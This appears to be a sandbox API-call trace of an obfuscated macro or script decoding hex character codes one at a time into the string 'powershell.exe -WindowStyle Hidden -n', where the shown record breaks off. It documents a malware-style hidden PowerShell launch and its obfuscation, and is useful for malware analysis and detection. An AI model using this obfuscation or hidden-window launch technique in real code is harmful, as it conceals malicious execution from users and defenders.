	[0077.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x89/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0077.283] VarBstrCat (in: bstrLeft="powershel", bstrRight="l", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.283] VarBstrCat (in: bstrLeft="&H", bstrRight="4B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182e4c, cchWideChar=1 | out: lpWideCharStr="K") returned 1
	[0077.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K.\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0077.283] VarBstrCat (in: bstrLeft="powershell", bstrRight=".", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.283] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182e24, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82.\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182e4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.284] VarBstrCat (in: bstrLeft="powershell.", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.284] VarBstrCat (in: bstrLeft="&H", bstrRight="95", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="•") returned 1
	[0077.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x950\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182e24, cchWideChar=1 | out: lpWideCharStr="x") returned 1
	[0077.284] VarBstrCat (in: bstrLeft="powershell.e", bstrRight="x", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.284] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x820\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.284] VarBstrCat (in: bstrLeft="powershell.ex", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.284] VarBstrCat (in: bstrLeft="&H", bstrRight="3D", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0077.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0077.284] VarBstrCat (in: bstrLeft="powershell.exe", bstrRight=" ", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.284] VarBstrCat (in: bstrLeft="&H", bstrRight="4A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="J") returned 1
	[0077.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="J", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="-") returned 1
	[0077.285] VarBstrCat (in: bstrLeft="powershell.exe ", bstrRight="-", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.285] VarBstrCat (in: bstrLeft="&H", bstrRight="74", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0077.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="W") returned 1
	[0077.285] VarBstrCat (in: bstrLeft="powershell.exe -", bstrRight="W", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.285] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="†") returned 1
	[0077.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0077.285] VarBstrCat (in: bstrLeft="powershell.exe -W", bstrRight="i", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.285] VarBstrCat (in: bstrLeft="&H", bstrRight="8B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‹") returned 1
	[0077.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‹", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8b/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0077.286] VarBstrCat (in: bstrLeft="powershell.exe -Wi", bstrRight="n", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.286] VarBstrCat (in: bstrLeft="&H", bstrRight="81", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x81") returned 1
	[0077.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x81", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x81/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0077.286] VarBstrCat (in: bstrLeft="powershell.exe -Win", bstrRight="d", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.286] VarBstrCat (in: bstrLeft="&H", bstrRight="8C", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="Œ") returned 1
	[0077.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Œ", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8c/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0077.286] VarBstrCat (in: bstrLeft="powershell.exe -Wind", bstrRight="o", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.286] VarBstrCat (in: bstrLeft="&H", bstrRight="94", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="”") returned 1
	[0077.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="”", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x94/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0077.286] VarBstrCat (in: bstrLeft="powershell.exe -Windo", bstrRight="w", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.286] VarBstrCat (in: bstrLeft="&H", bstrRight="70", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0077.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="S") returned 1
	[0077.287] VarBstrCat (in: bstrLeft="powershell.exe -Window", bstrRight="S", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.287] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‘") returned 1
	[0077.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‘", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x91/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0077.287] VarBstrCat (in: bstrLeft="powershell.exe -WindowS", bstrRight="t", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.287] VarBstrCat (in: bstrLeft="&H", bstrRight="96", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="–") returned 1
	[0077.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="–", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x96/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0077.287] VarBstrCat (in: bstrLeft="powershell.exe -WindowSt", bstrRight="y", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.287] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‰") returned 1
	[0077.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x89/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0077.288] VarBstrCat (in: bstrLeft="powershell.exe -WindowSty", bstrRight="l", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.288] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.288] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyl", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.288] VarBstrCat (in: bstrLeft="&H", bstrRight="3D", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0077.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0077.288] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle", bstrRight=" ", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.288] VarBstrCat (in: bstrLeft="&H", bstrRight="65", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="H") returned 1
	[0077.288] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle ", bstrRight="H", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.288] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="†") returned 1
	[0077.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0077.289] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle H", bstrRight="i", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.289] VarBstrCat (in: bstrLeft="&H", bstrRight="81", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x81") returned 1
	[0077.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x81", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x81/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0077.289] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hi", bstrRight="d", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.289] VarBstrCat (in: bstrLeft="&H", bstrRight="81", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x81") returned 1
	[0077.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x81", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x81/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0077.289] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hid", bstrRight="d", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.289] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.289] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidd", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.290] VarBstrCat (in: bstrLeft="&H", bstrRight="8B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‹") returned 1
	[0077.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‹", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8b/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0077.290] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidde", bstrRight="n", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.290] VarBstrCat (in: bstrLeft="&H", bstrRight="3D", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0077.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0077.290] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden", bstrRight=" ", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.290] VarBstrCat (in: bstrLeft="&H", bstrRight="4A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="J") returned 1
	[0077.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="J", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="-") returned 1
	[0077.290] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden ", bstrRight="-", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.290] VarBstrCat (in: bstrLeft="&H", bstrRight="8B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‹") returned 1
	[0077.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‹", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8b/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0077.291] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -", bstrRight="n", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
